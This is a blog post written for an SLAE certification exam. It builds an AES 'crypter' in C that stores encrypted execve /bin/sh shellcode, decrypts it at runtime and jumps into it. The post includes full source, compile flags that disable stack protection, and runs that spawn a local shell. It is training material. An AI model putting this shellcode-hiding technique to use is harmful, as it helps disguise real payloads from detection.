The final part of my SLAE (
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is to create a custom crypter as a standalone elf, to execute shellcode locally.
For this, I am going to use AES as the encryption algorithm and the execve /bin/sh shellcode payload, and code the crypter in C. I looked around at which libraries are available... I wasn't about to write the algorithm from scratch...!
I discovered a nice PoC using the libmcrypt Library here;
https://gist.github.com/bricef/2436364#file-aes-c
Firstly, I bastardised this program to allow me to encrypt the shellcode.
https://github.com/pabb85/SLAE/blob/master/crypt-test.c ;
paul@SLAE001:~$ cat crypt-test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* MCrypt API available online:
* http://linux.die.net/man/3/mcrypt
*/
#include <mcrypt.h>
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
int encrypt(
void* buffer,
int buffer_len, /* Because the plaintext could include null bytes*/
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mcrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
int decrypt(
void* buffer,
int buffer_len,
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mdecrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
void display(char* ciphertext, int len){
int v;
for (v=0; v<len; v++){
printf("%c", ciphertext[v]);
}
printf("\n");
}
int main()
{
MCRYPT td, td2;
unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *key = "0123456789abcdef0123456789abcdef";
int keysize = 32; /* 128 bits */
unsigned char* buffer;
int buffer_len = 32;
buffer = calloc(1, buffer_len);
strncpy(buffer, plaintext, buffer_len);
printf("==C==\n");
printf("plain: %s\n", plaintext);
encrypt(buffer, buffer_len, IV, key, keysize);
printf("cipher: "); display(buffer , buffer_len);
decrypt(buffer, buffer_len, IV, key, keysize);
printf("decrypt: %s\n", buffer);
return 0;
}
paul@SLAE001:~$ gcc crypt-test.c -o crypt-test -m32 -fno-stack-protector -z execstack -lmcrypt
paul@SLAE001:~$ ./crypt-test |hexdump -C
00000000 3d 3d 43 3d 3d 0a 70 6c 61 69 6e 3a 20 20 20 31 |==C==.plain: 1|
00000010 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 |.Ph//shh/bin..P.|
00000020 e2 53 89 e1 b0 0b cd 80 0a 63 69 70 68 65 72 3a |.S.......cipher:|
00000030 20 20 27 02 b8 1b cc 83 26 55 ec bb 06 82 33 bc | '.....&U....3.|
00000040 22 cf aa 35 ab d4 cf b0 ed 5c 0a 11 30 32 e6 eb |"..5.....\..02..|
00000050 71 1f 0a 64 65 63 72 79 70 74 3a 20 31 c0 50 68 |q..decrypt: 1.Ph|
00000060 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 e2 53 89 |//shh/bin..P..S.|
00000070 e1 b0 0b cd 80 0a |......|
00000076
paul@SLAE001:~$
After this, I again hacked the elegant original file into a messy decryption program.
https://github.com/pabb85/SLAE/blob/master/decrypt-test.c ;
paul@SLAE001:~$ cat decrypt-test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* MCrypt API available online:
* http://linux.die.net/man/3/mcrypt
*/
#include <mcrypt.h>
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
int encrypt(
void* buffer,
int buffer_len, /* Because the plaintext could include null bytes*/
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mcrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
int decrypt(
void* buffer,
int buffer_len,
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mdecrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
void display(char* ciphertext, int len){
int v;
for (v=0; v<len; v++){
printf("\\x%x", ciphertext[v]);
}
printf("\n");
}
int main()
{
MCRYPT td, td2;
char * plaintext = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";
char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *key = "0123456789abcdef0123456789abcdef";
int keysize = 32; /* 128 bits */
char* buffer;
int buffer_len = 32;
buffer = calloc(1, buffer_len);
strncpy(buffer, plaintext, buffer_len);
printf("==C==\n");
//printf("plain: %s\n", plaintext);
//encrypt(buffer, buffer_len, IV, key, keysize);
printf("cipher: "); display(buffer , buffer_len);
decrypt(buffer, buffer_len, IV, key, keysize);
printf("decrypt: %s\n", buffer);
//jump into SC
printf("Shellcode Length: %d\n", strlen(buffer));
int (*ret)() = (int(*)())buffer;
ret();
return 0;
}
paul@SLAE001:~$ gcc decrypt-test.c -o decrypt-test -m32 -fno-stack-protector -z execstack -lmcrypt
paul@SLAE001:~$ ./decrypt-test
==C==
cipher: \x27\x2\xffffffb8\x1b\xffffffcc\xffffff83\x26\x55\xffffffec\xffffffbb\x6\xffffff82\x33\xffffffbc\x22\xffffffcf\xffffffaa\x35\xffffffab\xffffffd4\xffffffcf\xffffffb0\xffffffed\x5c\xa\x11\x30\x32\xffffffe6\xffffffeb\x71\x1f
decrypt: 1�Ph//shh/bin��P��S���
Shellcode Length: 25
$ id
uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$
Wahey!! This works. Note that the decrypt-test.c doesn't contain the unencrypted version of the shellcode :-)
So finally, clean up the code somewhat to complete the exercise and my exam submission for SLAE..!
https://github.com/pabb85/SLAE/blob/master/crypter-final.c ;
paul@SLAE001:~$ cat crypter-final.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mcrypt.h>
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
int decrypt(
void* buffer,
int buffer_len,
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mdecrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
int main()
{
MCRYPT td, td2;
char * crypted_sc = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";
char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *key = "0123456789abcdef0123456789abcdef";
int keysize = 32; /* 128 bits */
char* buffer;
int buffer_len = 32;
buffer = calloc(1, buffer_len);
strncpy(buffer, crypted_sc, buffer_len);
decrypt(buffer, buffer_len, IV, key, keysize);
//jump into SC
int (*ret)() = (int(*)())buffer;
ret();
return 0;
}
paul@SLAE001:~$ gcc crypter-final.c -o crypter-final -m32 -fno-stack-protector -z execstack -lmcrypt
paul@SLAE001:~$ ./crypter-final
$ id
uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.